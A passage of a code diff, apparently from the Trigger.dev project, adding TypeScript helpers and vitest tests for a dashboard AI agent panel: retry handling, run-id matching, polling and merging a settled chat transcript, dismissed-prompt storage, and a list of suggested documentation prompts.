expect(retryAction([{ id: "u1", role: "user", parts: [] }])).toBeNull();
});
});
@@ -0,0 +1,35 @@
/**
* What the retry button should do after a failed turn.
*
* `regenerate()` sends no message at all the agent trims its trailing assistant and re-runs
* from its own history. That is only safe once the agent has answered, because a turn can also
* fail before the message reaches it (a rejected or dropped `.in` append), and on the
* head-started first turn the agent would then have no history to run on.
*/
export type RetryMessage = {
id: string;
role: string;
parts?: readonly { type: string; text?: string }[];
};
export type RetryAction =
/** Built-in retry: the agent owns the turn and drops its own partial answer. */
| { kind: "regenerate" }
/** Re-send under the same id, so the message lands even if it never did, and never twice. */
| { kind: "resend"; messageId: string; text: string }
| null;
export function retryAction(messages: readonly RetryMessage[]): RetryAction {
const last = messages[messages.length - 1];
if (!last) return null;
if (last.role !== "user") return { kind: "regenerate" };
const text = (last.parts ?? [])
.filter((part) => part.type === "text")
.map((part) => part.text ?? "")
.join("\n")
.trim();
return text ? { kind: "resend", messageId: last.id, text } : null;
}
@@ -0,0 +1,33 @@
import { generateFriendlyId } from "@trigger.dev/core/v3/isomorphic";
import { describe, expect, it } from "vitest";
import { isRunFriendlyId } from "./run-id";
describe("isRunFriendlyId", () => {
it("matches ids the platform actually mints", () => {
for (let i = 0; i < 50; i++) {
expect(isRunFriendlyId(generateFriendlyId("run"))).toBe(true);
}
});
it("matches a run-ops v1 id (base32hex body + region + version)", () => {
expect(isRunFriendlyId("run_0abcdefghijklmnopqrstuvw1")).toBe(true);
});
it("matches a legacy cuid-bodied id", () => {
expect(isRunFriendlyId("run_clq1x2y3z0000abcd1efgh2ij")).toBe(true);
});
it("matches an id the user typed in caps", () => {
expect(isRunFriendlyId("RUN_ABC123")).toBe(true);
});
it("rejects other entities and non-ids", () => {
expect(isRunFriendlyId("error_abc123")).toBe(false);
expect(isRunFriendlyId("batch_abc123")).toBe(false);
expect(isRunFriendlyId("run_")).toBe(false);
expect(isRunFriendlyId("run")).toBe(false);
expect(isRunFriendlyId("src/trigger/tasks.ts:42")).toBe(false);
expect(isRunFriendlyId("https://example.com/run_abc")).toBe(false);
expect(isRunFriendlyId("run_abc-attempt-1")).toBe(false);
});
});
@@ -0,0 +1,7 @@
// Every friendly id the platform mints is `run_` plus a lowercase alphanumeric
// body; see `packages/core/src/v3/isomorphic/friendlyId.ts`.
export const RUN_FRIENDLY_ID_PATTERN = /^run_[a-z0-9]+$/i;
export function isRunFriendlyId(value: string): boolean {
return RUN_FRIENDLY_ID_PATTERN.test(value);
}
@@ -0,0 +1,285 @@
import { VIEW_BLOCK_VERSION } from "@internal/dashboard-agent-contracts";
import { afterEach, describe, expect, it, vi } from "vitest";
import { liveProgress } from "./progress-line";
import {
fetchChatTranscript,
hasOpenInvestigation,
mergeSettledMessages,
pollSettledTranscript,
transcriptLooksUnfinished,
} from "./settled-transcript";
/**
* The open panel. A settled turn writes its terminal card to the chat row rather than
* pushing a stream chunk, so a panel that stays mounted has to re-read the transcript
* or it renders the last `in_progress` revision forever.
*/
const INVESTIGATION_ID = "inv_open_panel";
function cardMessage(args: { id: string; revision: number; outcome: string; progress?: string }) {
return {
id: args.id,
role: "assistant",
parts: [
{
type: "tool-render_view",
toolCallId: args.id,
state: "output-available",
output: {
blocks: [
{
type: "investigation",
id: INVESTIGATION_ID,
revision: args.revision,
version: VIEW_BLOCK_VERSION,
investigation: { outcome: args.outcome, progress: args.progress },
},
],
},
},
],
};
}
const OPEN = cardMessage({
id: "msg_open",
revision: 0,
outcome: "in_progress",
progress: "Reading the run's spans",
});
const SETTLED = cardMessage({
id: `investigation-settlement:${INVESTIGATION_ID}:1`,
revision: 1,
outcome: "inconclusive",
});
describe("merging a re-read transcript", () => {
it("adds only what the panel doesn't have, keeping what is already rendered in place", () => {
const merged = mergeSettledMessages([OPEN], [OPEN, SETTLED]);
expect(merged.map((message) => message.id)).toEqual([OPEN.id, SETTLED.id]);
expect(merged[0]).toBe(OPEN);
});
it("cannot produce a second copy of a card, however many times it re-reads", () => {
let merged = mergeSettledMessages([OPEN], [OPEN, SETTLED]);
merged = mergeSettledMessages(merged, [OPEN, SETTLED]);
merged = mergeSettledMessages(merged, [OPEN, SETTLED]);
expect(merged.filter((message) => message.id === SETTLED.id)).toHaveLength(1);
});
it("returns the same array when the re-read adds nothing, so no render is forced", () => {
const current = [OPEN, SETTLED];
expect(mergeSettledMessages(current, [OPEN, SETTLED])).toBe(current);
});
});
describe("replacing a stale running step from the re-read", () => {
// Same message id, but the stream EOF'd before `get_report` produced an output.
const RUNNING_STEP = {
id: "msg_step",
role: "assistant",
parts: [{ type: "tool-get_report", toolCallId: "call_1", state: "input-available" }],
};
const FINISHED_STEP = {
id: "msg_step",
role: "assistant",
parts: [
{ type: "tool-get_report", toolCallId: "call_1", state: "output-available", output: {} },
],
};
it("swaps the still-running copy for its finished version from the authoritative read", () => {
const merged = mergeSettledMessages([RUNNING_STEP], [FINISHED_STEP]);
expect(merged).toEqual([FINISHED_STEP]);
// The step no longer reads as running, so nothing keeps the panel on Working…
expect(transcriptLooksUnfinished(merged)).toBe(false);
});
it("still appends genuinely-new messages while replacing a stale one", () => {
const merged = mergeSettledMessages([RUNNING_STEP], [FINISHED_STEP, SETTLED]);
expect(merged.map((message) => message.id)).toEqual([FINISHED_STEP.id, SETTLED.id]);
expect(merged[0]).toBe(FINISHED_STEP);
});
it("leaves an in-flight message alone when the re-read is itself still running", () => {
const merged = mergeSettledMessages([RUNNING_STEP], [RUNNING_STEP]);
// Same reference back, no needless render, and the live turn is untouched.
expect(merged).toEqual([RUNNING_STEP]);
expect(merged[0]).toBe(RUNNING_STEP);
});
it("does not touch a running message the re-read does not mention", () => {
const merged = mergeSettledMessages([RUNNING_STEP], [SETTLED]);
expect(merged.map((message) => message.id)).toEqual([RUNNING_STEP.id, SETTLED.id]);
expect(merged[0]).toBe(RUNNING_STEP);
});
});
describe("reading the transcript endpoint", () => {
afterEach(() => {
vi.unstubAllGlobals();
});
function respondWith(body: unknown, ok = true) {
vi.stubGlobal("fetch", async () => ({ ok, json: async () => body }) as unknown as Response);
}
it("returns the transcript when the response carries one", async () => {
respondWith({ messages: [OPEN, SETTLED] });
const fetched = await fetchChatTranscript<typeof OPEN>("/agent/transcript", "chat_1");
expect(fetched?.map((message) => message.id)).toEqual([OPEN.id, SETTLED.id]);
});
it("reads a response with no messages at all as a failed re-read", async () => {
respondWith({});
expect(await fetchChatTranscript("/agent/transcript", "chat_1")).toBeNull();
});
it("reads a non-array under messages as a failed re-read, not as a transcript", async () => {
respondWith({ messages: { msg_open: OPEN } });
expect(await fetchChatTranscript("/agent/transcript", "chat_1")).toBeNull();
});
it("keeps only entries the merge can key on", async () => {
respondWith({ messages: [OPEN, null, "msg_open", { revision: 1 }, SETTLED] });
const fetched = await fetchChatTranscript<typeof OPEN>("/agent/transcript", "chat_1");
expect(fetched?.map((message) => message.id)).toEqual([OPEN.id, SETTLED.id]);
});
it("leaves the panel's transcript alone when the endpoint answers with a shape it cannot merge", async () => {
respondWith({ messages: { msg_open: OPEN } });
let rendered: (typeof OPEN)[] = [OPEN];
await pollSettledTranscript<typeof OPEN>({
fetchTranscript: () => fetchChatTranscript("/agent/transcript", "chat_1"),
apply: (merge) => void (rendered = merge(rendered)),
wait: async () => {},
});
expect(rendered).toEqual([OPEN]);
});
});
describe("deciding whether a settled turn is worth re-reading", () => {
// The stream EOF'd while `get_report` was running: the part never gets an output.
const DANGLING_TOOL = {
id: "msg_dangling",
role: "assistant",
parts: [{ type: "tool-get_report", toolCallId: "call_1", state: "input-available" }],
};
it("re-reads when the stream died mid-tool, not only when a card is open", () => {
expect(transcriptLooksUnfinished([DANGLING_TOOL])).toBe(true);
});
it("re-reads while a card is still open", () => {
expect(transcriptLooksUnfinished([OPEN])).toBe(true);
});
it("leaves a fully settled transcript alone", () => {
expect(transcriptLooksUnfinished([OPEN, SETTLED])).toBe(false);
});
});
describe("an already-open panel when a turn is exhausted", () => {
it("stops showing Working… without a reload or a reopen", async () => {
// What the mounted panel holds when the stream closes: the card the model opened
// and never concluded, and no turn in flight.
let rendered: (typeof OPEN)[] = [OPEN];
expect(liveProgress(rendered, null)).toEqual({
source: "investigation",
label: "Reading the run's spans",
});
// The stored transcript, which `onTurnComplete` has closed out by now.
const waits: number[] = [];
await pollSettledTranscript({
fetchTranscript: async () => [OPEN, SETTLED],
apply: (merge) => void (rendered = merge(rendered)),
wait: async (ms) => void waits.push(ms),
});
expect(rendered.map((message) => message.id)).toEqual([OPEN.id, SETTLED.id]);
// The panel's own progress line is gone: the winning revision is terminal.
expect(liveProgress(rendered, null)).toBeNull();
// One re-read was enough, because the transcript came back closed.
expect(waits).toHaveLength(1);
});
it("retries while the stored transcript is still open, because the write lands after the stream closes", async () => {
const responses = [[OPEN], [OPEN], [OPEN, SETTLED]];
let rendered: (typeof OPEN)[] = [OPEN];
let reads = 0;
await pollSettledTranscript({
fetchTranscript: async () => responses[reads++] ?? null,
apply: (merge) => void (rendered = merge(rendered)),
wait: async () => {},
});
expect(reads).toBe(3);
expect(hasOpenInvestigation(rendered)).toBe(false);
});
it("gives up rather than polling forever, leaving the sweep as the backstop", async () => {
let reads = 0;
await pollSettledTranscript({
fetchTranscript: async () => {
reads++;
return [OPEN];
},
apply: () => {},
wait: async () => {},
delays: [0, 0],
});
expect(reads).toBe(2);
});
it("keeps re-reading a stream that died mid-tool with no card open", async () => {
// No investigation anywhere: only the dangling `get_report` says the turn is unfinished.
const DANGLING = {
id: "msg_step",
role: "assistant",
parts: [{ type: "tool-get_report", toolCallId: "call_1", state: "input-available" }],
};
const FINISHED = {
id: "msg_step",
role: "assistant",
parts: [
{ type: "tool-get_report", toolCallId: "call_1", state: "output-available", output: {} },
],
};
const responses = [[DANGLING], [DANGLING], [FINISHED]];
let rendered: (typeof DANGLING)[] = [DANGLING];
let reads = 0;
await pollSettledTranscript({
fetchTranscript: async () => responses[reads++] ?? null,
apply: (merge) => void (rendered = merge(rendered)),
wait: async () => {},
});
expect(reads).toBe(3);
expect(rendered).toEqual([FINISHED]);
expect(transcriptLooksUnfinished(rendered)).toBe(false);
});
it("stops on a failed re-read instead of hammering the endpoint", async () => {
let reads = 0;
await pollSettledTranscript<typeof OPEN>({
fetchTranscript: async () => {
reads++;
return null;
},
apply: () => {},
wait: async () => {},
});
expect(reads).toBe(1);
});
});
@@ -0,0 +1,115 @@
import { IN_FLIGHT_TOOL_STATES, inFlightToolName, liveInvestigation } from "./progress-line";
/**
* Re-reading the stored transcript once a turn settles.
*
* The turn's terminal records a force-settled investigation card, a failure
* record are written to the chat row, not pushed as a stream chunk. An open panel
* has already closed its stream by then, so without this it keeps rendering the last
* `in_progress` revision and spins until the user reloads.
*/
type Identified = { id: string };
/** A message whose stream died mid-tool: a `tool-*` part still reads as running. */
function stillRunning(message: unknown): boolean {
const parts = (message as { parts?: ReadonlyArray<{ type?: string; state?: string }> })?.parts;
if (!Array.isArray(parts)) return false;
return parts.some(
(part) =>
typeof part?.type === "string" &&
part.type.startsWith("tool-") &&
IN_FLIGHT_TOOL_STATES.has(part.state ?? "")
);
}
/**
* Merge the authoritative re-read into what the panel holds, keyed on the message id.
*
* Genuinely-new messages (a settlement card is `investigation-settlement:{id}:{revision}`)
* are appended, so re-reading the same transcript any number of times never produces a
* second copy. A message whose in-memory copy died mid-tool a stream that EOF'd before
* the part settled is replaced by its finished version from the re-read; otherwise it
* would show that step running forever. We only replace a still-running copy with a copy
* that has itself settled, so a live turn streaming under the same id is left alone and
* ordering is preserved.
*/
export function mergeSettledMessages<T extends Identified>(current: T[], fetched: T[]): T[] {
const byId = new Map(fetched.map((message) => [message.id, message]));
let replaced = false;
const next = current.map((existing) => {
const settled = byId.get(existing.id);
if (settled && settled !== existing && stillRunning(existing) && !stillRunning(settled)) {
replaced = true;
return settled;
}
return existing;
});
const missing = fetched.filter(
(message) => !current.some((existing) => existing.id === message.id)
);
if (missing.length === 0) return replaced ? next : current;
return [...next, ...missing];
}
/** Whether the transcript still resolves to a card mid-investigation. */
export function hasOpenInvestigation(messages: ReadonlyArray<unknown>): boolean {
return liveInvestigation(messages as never) !== null;
}
/**
* Whether the transcript still reads as mid-turn. A stream that dies without
* `turn-complete` leaves the tool part it was on dangling forever, so an open card is
* not the only shape a re-read has to recover from.
*/
export function transcriptLooksUnfinished(messages: ReadonlyArray<unknown>): boolean {
return hasOpenInvestigation(messages) || inFlightToolName(messages as never) !== null;
}
/**
* The settlement is written in `onTurnComplete`, which runs AFTER the client's stream
* closes, so the first re-read can legitimately land before it. Retry a few times,
* then leave it: a reload and the between-turns sweep are both still backstops.
*/
export const SETTLE_REFETCH_DELAYS_MS = [200, 800, 2_500];
export async function pollSettledTranscript<T extends Identified>(deps: {
fetchTranscript: () => Promise<T[] | null>;
apply: (merge: (current: T[]) => T[]) => void;
wait: (ms: number) => Promise<void>;
delays?: ReadonlyArray<number>;
}): Promise<void> {
for (const delay of deps.delays ?? SETTLE_REFETCH_DELAYS_MS) {
await deps.wait(delay);
const fetched = await deps.fetchTranscript();
if (!fetched) return;
deps.apply((current) => mergeSettledMessages(current, fetched));
// The stored transcript is the authority on whether anything is still open. Same test that
// starts the poll, so a stream that died mid-tool is followed until it settles too.
if (!transcriptLooksUnfinished(fetched)) return;
}
}
export async function fetchChatTranscript<T extends Identified>(
actionPath: string,
chatId: string
): Promise<T[] | null> {
try {
const res = await fetch(`${actionPath}?chatId=${encodeURIComponent(chatId)}`);
if (!res.ok) return null;
const data = (await res.json()) as { messages?: unknown };
if (!Array.isArray(data.messages)) return null;
// Anything else under `messages` is not a transcript; keep only what merging can key on.
return data.messages.filter(
(message): message is T =>
typeof message === "object" &&
message !== null &&
typeof (message as Identified).id === "string"
);
} catch (error) {
console.error("Dashboard agent: failed to re-read the settled transcript", error);
return null;
}
}
@@ -0,0 +1,28 @@
// One key per chip id, not one key holding a list, so two tabs dismissing
// different chips can't clobber each other's write.
const KEY_PREFIX = "tdev:dashboard-agent:prompt-dismissed:";
export const dismissedPromptStorageKey = (promptId: string) => `${KEY_PREFIX}${promptId}`;
export function readDismissedPromptIds(): string[] {
if (typeof window === "undefined") return [];
try {
const ids: string[] = [];
for (let i = 0; i < window.localStorage.length; i++) {
const key = window.localStorage.key(i);
if (key?.startsWith(KEY_PREFIX)) ids.push(key.slice(KEY_PREFIX.length));
}
return ids;
} catch {
return [];
}
}
export function writeDismissedPromptId(promptId: string): void {
if (typeof window === "undefined") return;
try {
window.localStorage.setItem(dismissedPromptStorageKey(promptId), "1");
} catch {
/* storage full or blocked — the dismissal just doesn't persist */
}
}
@@ -0,0 +1,136 @@
/** The evergreen explain and docs chips, shared across pages. */
import type { SuggestedPrompt } from "@internal/dashboard-agent-contracts";
import { def } from "./prompt-chips";
export const EXPLAIN_PAGE = def(
"explain-page",
"Explain this page",
"Explain what this page shows and what I can do here."
);
export const DOCS_GENERIC = def(
"docs-generic",
"How do I use Trigger.dev?",
"How do I get started with Trigger.dev? Point me at the docs."
);
export const DOCS_RETRIES = def(
"docs-retries",
"How do retries work?",
"How do retries work in Trigger.dev?"
);
export const DOCS_ERRORS = def(
"docs-errors",
"How do I handle errors?",
"How do I catch and handle errors in Trigger.dev tasks?"
);
export const DOCS_CONCURRENCY = def(
"docs-concurrency",
"How does concurrency work?",
"How do queues and concurrency limits work in Trigger.dev?"
);
export const DOCS_DEPLOYS = def(
"docs-deploys",
"How do deploys work?",
"How do deployments and versions work in Trigger.dev?"
);
export const DOCS_TASKS = def(
"docs-tasks",
"How do I write a task?",
"How do I write and structure a task in Trigger.dev?"
);
export const DOCS_SCHEDULES = def(
"docs-schedules",
"How do schedules work?",
"How do cron schedules work in Trigger.dev?"
);
export const DOCS_BATCHES = def(
"docs-batches",
"How do I trigger a batch?",
"How do I trigger a batch of runs, and how do I read the results?"
);
export const DOCS_TRIGGERING = def(
"docs-triggering",
"How do I trigger a task?",
"How do I trigger a task, and what options can I pass with the payload?"
);
export const DOCS_ALERTS = def(
"docs-alerts",
"How do I set up alerts?",
"How do alerts work, and which failures can I be notified about?"
);
export const DOCS_AUTH = def(
"docs-auth",
"How do I authenticate?",
"How do I authenticate the SDK with an API key?"
);
export const DOCS_ENVVARS = def(
"docs-envvars",
"How do I set env vars?",
"How do environment variables work, and how do I read one inside a task?"
);
export const DOCS_REGIONS = def(
"docs-regions",
"How do I pick a region?",
"How do I choose which region a task runs in?"
);
export const DOCS_ENVIRONMENTS = def(
"docs-environments",
"How do environments work?",
"How do projects and environments work in Trigger.dev?"
);
export const DOCS_WAITPOINTS = def(
"docs-waitpoints",
"How do wait tokens work?",
"How do wait tokens work, and how do I complete one?"
);
export const DOCS_BULK_ACTIONS = def(
"docs-bulk-actions",
"How do I replay runs in bulk?",
"How do I cancel or replay a lot of runs at once?"
);
export const DOCS_BRANCHES = def(
"docs-branches",
"How do preview branches work?",
"How do preview branches work in Trigger.dev?"
);
export const DOCS_LOGS = def(
"docs-logs",
"How do I log from a task?",
"How do I write logs from a task, and how long are they kept?"
);
export const DOCS_LIMITS = def(
"docs-limits",
"What are the limits?",
"What limits apply to my environment, and which ones can I raise?"
);
export const DOCS_QUERY = def(
"docs-query",
"How do I write a query?",
"How do I write a query over my runs and metrics?"
);
export const DOCS_DASHBOARDS = def(
"docs-dashboards",
"How do dashboards work?",
"How do I build a metrics dashboard out of my own queries?"
);
export const DOCS_AGENTS = def(
"docs-agents",
"How do I build an agent?",
"How do I build an agent with Trigger.dev?"
);
export const DOCS_PROMPTS = def(
"docs-prompts",
"How do managed prompts work?",
"How do managed prompts and prompt versions work?"
);
export const DOCS_MODELS = def(
"docs-models",
"How do I configure a model?",
"How do I choose and configure an LLM model in a task?"
);
export const DOCS_SESSIONS = def(
"docs-sessions",
"How do sessions work?",
"How do agent sessions work, and when do they expire?"
);
export const GENERIC_PROMPTS: SuggestedPrompt[] = [EXPLAIN_PAGE, DOCS_GENERIC];

Some files were not shown because too many files have changed in this diff Show More